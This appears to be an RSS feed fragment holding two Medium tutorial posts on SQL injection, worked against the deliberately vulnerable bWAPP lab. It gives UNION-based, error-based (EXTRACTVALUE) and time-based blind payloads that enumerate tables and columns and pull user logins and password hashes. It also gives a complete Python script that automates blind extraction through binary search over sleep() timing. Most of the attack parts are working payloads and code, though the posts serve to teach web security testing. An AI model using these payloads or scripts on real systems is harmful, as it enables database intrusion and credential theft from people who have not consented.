126.</p><pre>def binarySearch(URL, index,limit):<br>    low = 32<br>    high = 126<br>    while low &lt;= high:<br>        mid = (high + low) // 2<br>        if mid == low :<br>            return chr(mid)<br>        url = URL + f&quot;?title=&#39;XOR(if((select ascii(substring(table_name,{index},1)) from information_schema.tables where table_schema=&#39;bWAPP&#39; LIMIT {limit},1)&lt;{mid},1,0))XOR&#39;&quot;<br>        response = requests.get(url=url,headers={&quot;Cookie&quot;:&quot;security_level=0; PHPSESSID=52buofk8lh4bg5f88a56kfhr50&quot;})<br>        if &quot;does not exist&quot; in response.text:<br>            low = mid<br>        else:<br>            high = mid</pre><p>You can guess what I did this time, i set low to 32 and high to 126. Then do the same thing we did early, Our payload is :</p><p><strong>’XOR(if((select ascii(substring(table_name,{index},1)) from information_schema.tables where table_schema=’bWAPP’ LIMIT {limit},1)&lt;{mid},1,0))XOR’</strong></p><p>Each time our payload finds<strong> ASCII</strong> value of the character on database and compare it to mid. If it</p><ol><li>The <strong>AS</strong>CII function retrieves the ascii value of the data you’re querying.</li><li>It checks if its value is less than <strong>mid</strong>.</li><li>If the condition is false, in our circumstance the app returns <strong>“does not exist” </strong>and assigns <strong>low</strong> to <strong>mid</strong> .</li><li>If true, it sets <strong>high</strong> to <strong>mid</strong> .</li></ol><p>This continues till the loop inside <strong>extractdata() </strong>which iterates to length ends then print data.</p><p>This was the all theorical part. Let’s run our script to bWAPP lab and see what happen.</p><p>Remember you need URL and Cookie.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S-oYkoznqZmzcUDGTYWskg.png" /></figure><p>Okay! Our script works perfect. Application has 5 tables. What we need from here is users table cause we want to steal other user’s password. So we will change payloads to find columns in users table:</p><p><strong>count — — ‘XOR(if((select count(column_name) from information_schema.columns where table_name=’users’) = {i},1,0))XOR’</strong></p><p><strong>length — — ‘XOR(if((select length(column_name) from information_schema.columns where table_name=’users’ LIMIT {row},1)&lt;{mid},1,0))XOR’</strong></p><p><strong>characters— — ‘XOR(if((select ascii(substring(column_name,{index},1)) from information_schema.columns where table_name=’users’ LIMIT {limit},1)&lt;{mid},1,0))XOR’</strong></p><p>Run the code and see the greatness of python!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9AUdxXdIhDTerDC3OIHuLg.png" /></figure><p>There it is all the columns in users table. Lastand my favorite part user’s credentials. payloads:</p><p><strong>count — — ‘XOR(if((select count(*) from users) = {i},1,0))XOR’</strong></p><p><strong>length — — ‘XOR(if((select length(concat(login,’-’,password)) from users LIMIT {row},1)&lt;{mid},1,0))XOR’</strong></p><p><strong>characters— — ‘XOR(if((select ascii(substring(concat(login,’-’,password),{index},1)) from users LIMIT {limit},1)&lt;{mid},1,0))XOR’</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S235gGFS3OcPioggHUeCrg.png" /></figure><p>We pool every data we need from this database, let’s check out the other one!</p><h3>Time-based</h3><p>In Time based SQLi there is no respond from database that we can work on it ,we are blind . But we can observe the application’s behaviour. This called Time-Based SQli. We are going to write a SQl query that makes database to wait with sleep() function:</p><p><strong>‘XOR(IF(1=1,sleep(1),0))XOR’</strong></p><p>Let’s look at the lab on bWAPP which we write script for:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xnCfCku_CEFZHMnPaLAJRQ.png" /></figure><p>We see an input field for searching movie,but when we search movie app doesn’t show result in screen and says “The result will be sent by e-mail…”. Run the payload you’ll see application waits a little then responds that mean there is SQL injection vulnerability in this site. Look at the script:</p><pre>import requests<br>import time<br>import sys<br><br>def binarySearch(URL, index):<br>    low = 32<br>    high = 126<br>    while low &lt;= high:<br>        mid = (high + low) // 2<br>        if mid == low :<br>            return chr(mid)<br>        url = URL + f&quot;?title=&#39;XOR(if((select ascii(substring(concat(login,&#39;-&#39;,password),{index},1)) from users LIMIT 1)&lt;{mid},sleep(1),1))XOR&#39;&quot;<br>        start_time = time.time()<br>        requests.get(url=url,headers={&quot;Cookie&quot;:&quot;security_level=0; PHPSESSID=2q1knd1p39nn79sba3cr2aka32&quot;})<br>        finish_time = time.time()<br>        request_time = finish_time - start_time<br>        if request_time &gt;= 2:<br>            high = mid<br>        else:<br>            low = mid<br><br><br>def extractData(URL,length):<br>    data = &quot;&quot;<br>    for index in range(1,length+1):<br>        data += binarySearch(URL,index)<br>        print(data)<br>    print(data)<br><br><br>def findlength(URl):<br>    low = 1<br>    high = 200<br>    while low &lt;= high:<br>        mid = (high + low) // 2<br>        if mid == low :<br>            return mid<br>        url = URl + f&quot;?title=&#39;XOR(if((select length(concat(login,&#39;-&#39;,password)) from users LIMIT 1)&lt;{mid},sleep(1),1))XOR&#39;&quot;<br>        start_time = time.time()<br>        requests.get(url=url,headers={&quot;Cookie&quot;:&quot;security_level=0; PHPSESSID=2q1knd1p39nn79sba3cr2aka32&quot;})<br>        finish_time = time.time()<br>        request_time = finish_time - start_time<br>        if request_time &gt;= 2:<br>            high = mid<br>        else:<br>            low = mid<br><br><br>def detectSQLi(URL):<br>    url = URL + &quot;?title=&#39;XOR(if(sysdate()=now(),sleep(2),1))XOR&#39;&quot;<br>    start_time = time.time()<br>    response = requests.get(url=url,headers={&quot;Cookie&quot;:&quot;security_level=0; PHPSESSID=2q1knd1p39nn79sba3cr2aka32&quot;})<br>    finish_time = time.time()<br>    request_time = finish_time - start_time<br>    if request_time &gt;= 2:<br>        return True<br>    else:<br>        return False<br><br><br>def main():<br>    URL = &quot;http://127.0.0.1/sqli_15.php&quot;<br>    if detectSQLi(URL):<br>        print(&quot;SQLi detected trying to exploit...&quot;)<br>        length = findlength(URL)<br>        print(&quot;Length: {}&quot;.format(length))<br>        extractData(URL,length)<br>    else:<br>        print(&quot;SQLi not detected.&quot;)<br><br><br>if __name__ == &quot;__main__&quot;:<br>    try:<br>        main()<br>    except KeyboardInterrupt:<br>        sys.exit(1)</pre><p>This time we are working with time so we need <strong>time</strong> library, let’s import <strong>time</strong>. For sending request import<strong> requests</strong> and when pressing ctrl+c we want our script stop so import <strong>sys</strong>.</p><p>This script works as same the other, first detect SQLi with sending</p><p><strong>‘XOR(if(sysdate()=now(),sleep(2),1))XOR’</strong></p><p>If application waits more than 2 seconds that mean app is vulnerable to SQLi. But how our script checks app waited 2 seconds?</p><p>Help of <strong>time</strong> library.</p><pre>def detectSQLi(URL):<br>    url = URL + &quot;?title=&#39;XOR(if(sysdate()=now(),sleep(2),1))XOR&#39;&quot;<br>    start_time = time.time()<br>    response = requests.get(url=url,headers={&quot;Cookie&quot;:&quot;security_level=0; PHPSESSID=2q1knd1p39nn79sba3cr2aka32&quot;})<br>    finish_time = time.time()<br>    request_time = finish_time - start_time<br>    if request_time &gt;= 2:<br>        return True<br>    else:<br>        return False</pre><p>First, we assign the <strong>start_time</strong> variable the value of the <strong>time.time() </strong>function. What does this function do? It returns the current timestamp at the moment it is executed.</p><p>We call <strong>time_time()</strong> once before sending the request and again after receiving the response. By calculating the time difference between these two calls, we can determine how long the operation took. If the time difference is greater than 2 seconds, it indicates that our payload was successful. Every function use this as checking payloads success.</p><p>The rest of the script is same as <strong>boolean-based</strong>. Only difference is i didn’t find <strong>count</strong> this time cause as you can see function already takes a lot of time because of the <strong>sleep() </strong>function.Finding each row separated is better this time.</p><p>Let’s run the script and see it works or not. I am going to run the code for finding user’s credentials cause we know tables and columns.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*229vJsoLJ2G8mjZEnGlCOg.png" /></figure><p>It works as intended! I still admire the power of python. If you know how can you use it, you can automate anything, maybe one day i don’t even need to get up from my chair to get my tea ).</p><p>Well it’s time to say goodbye, my least favorite part. I hope you learned something, but most importantly, you had fun. I’ll see you next time. Until then, bye!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f4d2b7b04a95" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SQL Injection]]></title>
            <link>https://medium.com/@negan0/sql-injection-c78bfbd255be?source=rss-cef535fc4ff4------2</link>
            <guid isPermaLink="false">https://medium.com/p/c78bfbd255be</guid>
            <category><![CDATA[bwapp]]></category>
            <category><![CDATA[mysql]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[sql]]></category>
            <dc:creator><![CDATA[negan0]]></dc:creator>
            <pubDate>Mon, 03 Feb 2025 19:30:10 GMT</pubDate>
            <atom:updated>2025-02-04T20:28:19.544Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello everyone! In this article i am going to talk about SQL Injection and we will do some SQLi labs on bWAPP. First let’s talk about SQLi. What is SQL Injection?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A9gcHVZPSvLzOB_-OvOrBQ.jpeg" /></figure><p>SQL Injection is a type of cyberattack where an attacker exploits vulnerabilities in an application’s database query handling. This happens when user-provided input is not properly validated or sanitized, allowing the attacker to execute malicious SQL statements.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*kpEsv7evlUlpa3BuWJWCWA.png" /></figure><p>Structured Query Language (SQL) is used to communicate with and manipulate databases. For example, when you log into a website, SQL queries are often used to verify your credentials. An SQL Injection attack occurs when an attacker manipulates these queries to bypass security measures, access sensitive data, or even damage the database. Example of SQL query:</p><p><strong>SELECT username FROM users;</strong></p><p>To better understand this article, it’s a good idea to know about SQL queries and how they work. If you are not familiar with it I recommend doing some research first.</p><h3>Types of SQL Injection attacks</h3><h3><strong>1. In-band SQLi</strong></h3><p>The attacker uses the same channel of communication to launch their attacks and to gather their results. In-band SQLi’s simplicity and efficiency make it one of the most common types of SQLi attack. There are two sub-variations of this method:</p><p><strong>Error-based SQLi</strong> — the attacker performs actions that cause the database to produce error messages. The attacker can potentially use the data provided by these error messages to gather information about the structure of the database.</p><p><strong>Union-based SQLi</strong> — this technique takes advantage of the UNION SQL operator, which fuses multiple select statements generated by the database to get a single HTTP response. This response may contain data that can be leveraged by the attacker.</p><h3><strong>2. Blind SQLi</strong></h3><p>The attacker sends data payloads to the server and observes the response and behavior of the server to learn more about its structure. This method is called blind SQLi because the data is not transferred from the website database to the attacker, thus the attacker cannot see information about the attack in-band.</p><p><strong>Boolean</strong> — that attacker sends a SQL query to the database prompting the application to return a result. The result will change depending on whether the query is true or false. The attacker can then work out if the message generated a true or false result.</p><p><strong>Time-based</strong> — attacker sends a SQL query to the database, which makes the database wait before sending response. The attacker can see from the time the database takes to respond, whether a query is true or false. The attacker can work out if the message they used returned true or false, without relying on data from the database.</p><h3>3. Out-of-band SQLi</h3><p>Out-of-band SQLi is performed when the attacker can’t use the same channel to launch the attack and gather information, or when a server is too slow or unstable for these actions to be performed. These techniques count on the capacity of the server to create DNS or HTTP requests to transfer data to an attacker.</p><p>In this article we’ll look at in-band and blind SQLi attacks.</p><h3>How to detect SQLi?</h3><p>Okay everything seems fine till here, we know about SQl queries, SQl injection and it’s types. So what now?</p><p>Now it is the best part detecting the SQL injection i will use labs on bWAPP.</p><p>bWAPP is a buggy web application that is free and open-source, designed to be intentionally insecure. It’s a great tool for learning about web vulnerabilities, offering over 100 different vulnerabilities to explore. bWAPP is a PHP application that uses a MySQL database. There are several ways to set it up: you can use WAMP, XAMPP, or Docker. Personally, I prefer Docker because it’s easier to use. I highly recommend checking out bWAPP yourself.</p><h3><strong>bWAPP LABS</strong></h3><h4>1. SQL Injection (GET/Search)</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kej5e_CIif3rpx0cB2M2AQ.png" /></figure><p>First we see look at the page. We see there is an input field we search for film using GET request. And there is 5 columns.Let’s search “a”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/885/1*fzZpQHMzd9J_M2S_KdEcgg.png" /></figure><p>Look at the result. Application searching every film that contains “a” at its title. So let’s guess what could it be its SQl query. There is definitely SELECT.</p><p><strong>SELECT title,release,character,genre,imdb from &lt;table_name&gt; WHERE title like “%&lt;input_here&gt;%”;</strong></p><p>I suppose they are using sql query like this. In this query all we have to this is break the query. We can do it using ‘ character or “ what they use in their query. Let’s use ‘ first.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/1*nJBeoacIlNOfUcnJXKTKZA.png" /></figure><p>Error gives us that application uses MySQL we will use our inputs from MySQL. Now let’s write :</p><p><strong>‘ or 1=1 --</strong></p><p>In this or statement 1=1 is always true so application has to retrieve all data on database. Using--(two dash) in MySQL for comment . We don’t need other part of the query so we commenting it.Make sure you are giving white space at the end because between two dash and string has to be white space or you will get error.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/773/1*CYnqACx9c7CvDG1ZDUZXRQ.png" /></figure><p>There it is application returns us all data from database that mean there is a SQL injection vulnerability in application. . Its type is in-band SQLi. We can use UNION SELECT statement to steal information from database. This combines two unrelated SELECT queries to retrieve data from different database tables. But the two database has to have same number of columns. So what we gonna do in here will be we gonna guess the number of columns which application uses. Our query will be like this:</p><p><strong>‘ UNION SELECT null - -</strong></p><p>We are using null because if data types are different we’ll get error so we use null and If we get error we will increase nulls.</p><p><strong>‘ UNION SELECT null,null,null,null,null,null,null --</strong></p><p>We stopped getting error at 7th null that mean the table application use has 7 column and i used 1,2,3,4,5,6,7 app is not giving error from here i will use numbers(writing 7 null in all request is tiring).</p><p><strong>‘ UNION SELECT 1,2,3,4,5,6,7 --</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/759/1*Tz4nJxr7ODmKZJAEpVV8NQ.png" /></figure><p>Oh. The columns we give in our union select statement shows in table that is very bad for application but for attacker it is fortune. We will request data using this. Let’s first learn their databse name:</p><p><strong>‘ UNION SELECT 1,database(),3,4,5,6,7 - -</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/726/1*SNK2Mnj8Cc9LS377mVOu6A.png" /></figure><p>Database name is bWAPP. but we need more than this we want to know everything about database not only name. We need tables. In MySQL every data about databases stores in information_schema. If we want to know about tables we have to search under that schema. Let’s see what is in that schema.</p><p>I am going to use mysql on my linux to show tables under information_schema.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/353/1*smpemgpErWvqSYx0E2yUWQ.png" /></figure><p>There was a lot of tables but we need which contains data about TABLES and we find it. Let’s look at inside.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*71pHld8PQ_FRSwu8DTGAbw.png" /></figure><p>It stores every information of tables in all databases. But columns we need from this schema is table_name,table_schema don’t need others. Our input in the app will be like this:</p><p><strong>‘ UNION SELECT 1,table_name,table_schema,4,5,6,7 FROM information_schema.tables--</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/884/1*mMhiT6cYOl_YLxkllsZPuw.png" /></figure><p>We get all tables from application’s database but we need which are used by bWAPP. There are 5 table and blog,heroes,movies,visitors are not seem so interesting but users oh boy we can get user’s data. But what we know till here is database name and tables name we need something spesific to see data.Yeah we need columns.This time we going to search columns in information_schema.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/390/1*_dU9BHr4jsTlI7waYBTtDw.png" /></figure><p>hmm… What can it be in columns table?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wmgUo3M9ydJ-6GzOD9BT4g.png" /></figure><p>Of course! Information about columns. What we need from here is column_name,table_name,table_schema. Our input:</p><p><strong>‘ UNION SELECT 1,column_name,table_name,table_schema,5,6,7 FROM information_schema.columns --</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uIzyuFGrbIgzrZkqecfgUw.png" /></figure><p>We get all column names from database. We need ones from users table.</p><p>So we have table name, column names, all we got to do is request the information MySQL will do the rest. Our input:</p><p><strong>‘ UNION SELECT 1,login,password,email,secret,6,7 from users--</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/789/1*08UQ8IkJlG53tHDgDhhq-Q.png" /></figure><p>There it is! User’s datas we can request any data from database now cause we have all information we need table name column name database name.</p><h3>SQL Injection (GET/Select)</h3><p>Second lab. We see there is no input field but there is a thing we selecting the movie then press go and application shows us the movie.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WqL4iIf407kcO2dF03WZRw.png" /></figure><p>Everything seems fine. We request the movie then application shows us but if we look at the search bar at the top. There is a movie variable equal to 1. That is a little bit suspicious try to change it 2.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*L9I_YkwTl0HtaNBHvwg-Og.png" /></figure><p>hmm… In the selection writes G.I.Joe but we see Iron Man that’s odd. what happen we give something not in database.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/824/1*yC-lQuZvBaSimTEuiVcwTA.png" /></figure><p>Returns us no movies are found. Seems fine, what we were expecting anyway. We can guess from what we have application uses query like this:</p><p><strong>SELECT title,release,character,genre,imdb from &lt;table_name&gt; WHERE &lt;column_name(probably id)&gt; = &lt;our_input_here&gt;;</strong></p><p>It is probably like this. okay now try to input ‘ to break the query .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/770/1*SXBa65X0tGRa7rjvRhj4pg.png" /></figure><p>We get an error saying we have syntax error and e learn app uses MySQL.</p><p><strong>‘ or 1=1--</strong></p><p>let’s input this again to see is there SQLi.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/718/1*r_l4HcpMcA97695GzA98UQ.png" /></figure><p>We get an syntax error probably because app uses int type when gets movie id from us so we don’t need to enter ‘ . The reason of us to put ‘ was if application gets stringer from us we will break through it(in MySQL stringer type data are written between ‘ or”). In here we don’t need it cause app gets integer from user.</p><p><strong>or 1=1--</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/685/1*LAqCGCSWFLeJvN8c5WHASw.png" /></figure><p>AND We find it SQLi vulnerability. From here all we got to do is what we did before learn number of columns app uses. Let’s use our UNION SELECT again:</p><p><strong>UNION SELECT 1--</strong></p><p>And increase it till we won’t get error.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/771/1*1TUpp5bJxAxvaQ7k5A98IA.png" /></figure><p>Well! We see our columns again at the table. We gonna use them to steal information again.</p><p><strong>UNION SELECT 1,database(),3,4,5,6,7--</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/888/1*U0eC3A4YMT8qWiDfkNJ-RA.png" /></figure><p>database name is bWAPP. Let’s search for table names.</p><p><strong>UNION SELECT 1,table_name,table_schema,4,5,6,7 FROM information_schema.tables --</strong></p><p>But I don’t want to see all tables from database so i am going to use WHERE statement and give our database.</p><p><strong>UNION SELECT 1,table_name,table_schema,4,5,6,7 FROM information_schema.tables where table_schema=”bWAPP”--</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wf6i5EOMW3plHl58MbrxzA.png" /></figure><p>We get table name but only there is only one. WE WANT ALL OF IT! In here LIMIT statement comes our help. We gave our index and how many response we want then response start from that index show us that number of response. Our input:</p><p><strong>UNION SELECT 1,table_name,table_schema,4,5,6,7 FROM information_schema.tables where table_schema=”bWAPP” LIMIT 1,1--</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1YZVXdTbn5ugt2GeREsxzA.png" /></figure><p>App brings another table. From here we change index of LIMIT and get all tables. Table names are:</p><p><em>blog,heroes,movies,users,visitors</em></p><p>We’ll steal users information again. Let’s search column names from users table:</p><p><strong>UNION SELECT 1,column_name,table_name,table_schema,5,6,7 FROM information_schema.columns where table_name=”users”--</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4vzqEk5EueuAZleZHowLuA.png" /></figure><p>We will use LIMIT again to find other columns:</p><p><strong>UNION SELECT 1,column_name,table_name,table_schema,5,6,7 FROM information_schema.columns where table_name=”users” LIMIT 1,1--</strong></p><p>Column names are:</p><p><em>id,login,email,password,secret,activation_code,activated,reset_code,admin</em></p><p>We have database name,table names, column names we can request users’ data:</p><p><strong>UNION SELECT 1,login,password,email,secret,6,7 FROM users--</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dgbeVgsTjeU2KpOArn8CYw.png" /></figure><p>We will use LIMIT again for retrieving other users.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*exXztrLim_rtNF88bwuJAQ.png" /></figure><p>We did it again!</p><h3>SQL Injection (POST/Select)</h3><p>Third lab. In this lab we see again there is a thing we select movie then we press go and app shows us the movie.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XoWF_NjRcPnBdoVZ6uz3nQ.png" /></figure><p>But this time there is nothing on the search bar because application use POST request this time. Application think this can stop us hahaha funny. We going to use Burp Suite to intercept the request and manupilate it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qrtQID0O5a8sFtpjeY8DVA.png" /></figure><p>We see our request and response movie=3 and we see Man of Steel. We will do the same thing we did before. First give something not in the table:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2I9kE0AJdWRq2oWZaK0KBw.png" /></figure><p>Now check is there SQLi vulnerability:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zq6w7SU6s9ZhSUHkw7vsYA.png" /></figure><p>There it is then use UNION SELECT to find number of columns:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LFcwueTHtDpeWg94U6hFWA.png" /></figure><p>Returns us valid answer that mean number of columns are 7. Request database name:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LKs8lIomWExZKRrPaMAqDg.png" /></figure><p>Request the table names:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bOS8uuoUThEcZo_lMBegoQ.png" /></figure><p>It show us 1 row again so use LIMIT for other rows:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vciKqYTszR7R4FyoWiEBog.png" /></figure><p>Table names are:</p><p><strong>blog,heroes,movies,users,visitors</strong></p><p>We will do the same thing for learning column names. Column names for users are:</p><p><strong><em>id,login,email,password,secret,activation_code,activated,reset_code,admin</em></strong></p><p>Retrieve users information:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n0XzWuef5cI5XjE5UqJVJw.png" /></figure><p>Use limit for other users:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jl_n3yz9hfygLp14k8c6yw.png" /></figure><p>That’s it!</p><h3>SQL Injection (Login Form/User)</h3><p>Fourth lab. In this lab we see there is 2 input field one for login and the other for password. We can guess that query is something like this:</p><p><strong>SELECT login and password FROM &lt;table_name&gt; WHERE login=&lt;username&gt; and passord=&lt;password&gt;;</strong></p><p>Lets input ‘ and see what happen.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/1*HgU054bWkBlZJ_oYkmRuxw.png" /></figure><p>We get an error and we learn they are using MySQL . So let’s put :</p><p><strong>‘ or 1=1--</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/804/1*ntyIEQ6bYQE7nUHXiaf8Vw.png" /></figure><p>we are get invalid credentials when we our login is incorrect.In this lab we will use errors to retrieve information from database.That is called error based SQli. We will use:</p><p><strong>EXTRACTVALUE(1, CONCAT(0x5c, (SELECT ‘secret’)))</strong></p><p>This function tries to parse the argument it given like XML but if the given argument is not XML it returns error and the value which isn’t XML. But first lets find how many columns table has with UNION SELECT.</p><p><strong>‘ UNION SELECT 1,2,3,4,5,6,7,8,9--</strong></p><p>Increase number of columns till application returns us invalid credentials. We find out table has 9 columns.No our payload will be like this:</p><p><strong>‘ UNION SELECT EXTRACTVALUE(1, CONCAT(0x5c, (SELECT database()))),2,3,4,5,6,7,8,9--</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/667/1*VcEBwFQ9RVPKQPyQcNnJ4A.png" /></figure><p>Now for table names:</p><p><strong>‘ UNION SELECT EXTRACTVALUE(1, CONCAT(0x5c, (SELECT table_name FROM information_schema.tables WHERE table_schema=”bWAPP”))),2,3,4,5,6,7,8,9--</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/704/1*p_0eLkGBVpPto-v8d8NZtg.png" /></figure><p>We get an error that says response is more than 1 row so we will give LIMIT and return 1 row:</p><p><strong>‘ UNION SELECT EXTRACTVALUE(1, CONCAT(0x5c, (SELECT table_name FROM information_schema.tables WHERE table_schema=”bWAPP” LIMIT 1))),2,3,4,5,6,7,8,9--</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/733/1*mysei-xoh5jt_sRspeH9MQ.png" /></figure><p>Change index of limit for the other tables:</p><p><em>blog,heroes,movies,users,visitors</em></p><p>Now search for columns:</p><p><strong>‘ UNION SELECT EXTRACTVALUE(1, CONCAT(0x5c, (SELECT column_name FROM information_schema.columns WHERE table_name=”users” LIMIT 1))),2,3,4,5,6,7,8,9- -</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/1*IhKWcpnp3zDyjp-hLYuGUw.png" /></figure><p>Change LIMIT for finding other columns:</p><p><em>id,login,password,email,secret,activation_code,activated,reset_code,admin</em></p><p>We find database name ,tables name, columns name it is time to steal data.</p><p><strong>‘ UNION SELECT EXTRACTVALUE(1, CONCAT(0x5c, (SELECT CONCAT(login,”//”,password) FROM users LIMIT 1))),2,3,4,5,6,7,8,9- -</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*ggE3Y064w6Dp3q21c4gUOw.png" /></figure><p>We got the login and password, but the password is in hash format. It looks like the hash is cut off, probably because the application limits the length of errors. That doesn’t matter, though — we can still get the response we need. By using the <strong>SUBSTRING</strong> statement, we can grab the part of the response starting at the index we want. The application seems to return 31 characters.</p><p><strong>‘ UNION SELECT EXTRACTVALUE(1, CONCAT(0x5c, (SELECT SUBSTRING(CONCAT(login,”//”,password),32) FROM users LIMIT 1))),2,3,4,5,6,7,8,9- -</strong></p><p>that mean Our response will start from 32th character:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/708/1*C4RrpOWqwEp9dUV7ma-eEQ.png" /></figure><p>For other users change index of LIMIT:</p><p><strong>A.I.M.&lt;==&gt;6885858486f31043e5839c735d99457f045affd0</strong></p><p><strong>bee&lt;==&gt;6885858486f31043e5839c735d99457f045affd0</strong></p><p>ANOTHER!</p><h3>SQL Injection — Blind — Time-Based</h3><p>Last but not least, fifth lab. In this lab we see an input field for searching movie,but when we search movie app doesn’t show result in screen and says “The result will be sent by e-mail…” that means there is no respond from database that we can work on it ,we are blind . But we can observe the application’s behaviour. This called Time-Based SQli. We are going to write a SQl query that makes database to wait with sleep() function:</p><p><strong>‘XOR(IF(1=1,sleep(1),0))XOR’</strong></p><p>This input checks if 1=1 then waits 1 second else returns 0. We can assume application use query like this:</p><p><strong>SELECT movie FROM movies WHERE movie like ‘%&lt;our_input&gt;%’;</strong></p><p>What we did here is we break query and insert(inject) our own query then combine them using XOR operator. When we insert our query will be like this:</p><p><strong>SELECT movie FROM movies WHERE movie like ‘%‘XOR(if(1=1,sleep(5),0))XOR’%’;</strong></p><p>This query makes database wait 5 second if 1=1 condition is true. But how this can help us to steal information from database? Thats great question. Let’s start. Remember what we need first is database name our input:</p><p><strong>‘XOR(IF(SUBSTRING(database(),1,1)=’a’,sleep(5),0))XOR’</strong></p><p>SUBSTRING function helps us here. We will request first letter of database name and compare it to all letters in alphabet,When letters are equal application will sleep 5 second. Yeah this takes a bit time, but still we will get what we need. If it is not equal to ‘a’ we will change it to ‘b’:</p><p><strong>‘XOR(IF(SUBSTRING(database(),1,1)=’b’,sleep(5),0))XOR’</strong></p><p>And we see application waited that mean first letter is “b” then we will change our input to:</p><p><strong>‘XOR(IF(SUBSTRING(database(),2,1)=’a’,sleep(5),0))XOR’</strong></p><p>To find second letter this will continue till we find all of them. Make sure you are searching for special characters,numbers,capitalized letters too.I find that database name is “bWAPP” okay table names:</p><p><strong>‘XOR(IF((SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables WHERE table_schema=”bWAPP” LIMIT 1)=’a’ ,sleep(1),0))XOR’</strong></p><p>But this time we have to give LIMIT because there could be tables more than 1. And application waited when we gave ‘b’ that mean first letter is ‘b’ then we change index 2 to find second letter.</p><p><strong>‘XOR(IF((SELECT SUBSTRING(table_name,2,1) FROM information_schema.tables WHERE table_schema=”bWAPP” LIMIT 1)=’a’ ,sleep(1),0))XOR’</strong></p><p>Second letter is ‘l’ . I find that table is ‘blog’. Now changing LIMIT for finding other tables and doing the same thing again.</p><p><strong>‘XOR(IF((SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables WHERE table_schema=”bWAPP” LIMIT 1,1)=’a’ ,sleep(1),0))XOR’</strong></p><p>I find all tables for you, table names are:</p><p><em>blog,heroes,movies,users,visitors</em></p><p>We find table names it is time to find column names:</p><p><strong>‘XOR(IF((SELECT SUBSTRING(column_name,1,1) FROM information_schema.columns WHERE table_name=”users” LIMIT 1)=’a’ ,sleep(1),0))XOR’</strong></p><p>When we give ‘i’ database waits that mean first letter is ‘i’. Then change index to find second letter. I find column names for you:</p><p><em>id,login,password,email,secret,activation_code,activated,reset_code,admin</em></p><p>Okay now it is time to steal users data:</p><p><strong>‘XOR(IF((SELECT SUBSTRING(login,1,1) FROM users WHERE id=1)=’a’ ,sleep(1),0))XOR’</strong></p><p>In this query we request first letter of login which its id equal to 1. We see when we put ‘b’ database waits, we change index find second so on.When you find login you will search for password or email or secret which one you want it is up to you. You can steal all users data, it will take time but you know what they say “Better late than never”.</p><p>Users credentials:</p><p><strong>login:A.I.M. — password:6885858486f31043e5839c735d99457f045affd0</strong></p><p><strong>login:bee — password:6885858486f31043e5839c735d99457f045affd0</strong></p><p>As you can see this method requires a lot of time. There is a way to reduce the time we spend. We will use binary search. What is binary search?</p><p><strong>Binary search</strong> is a search algorithm used to find the position of a target value within a 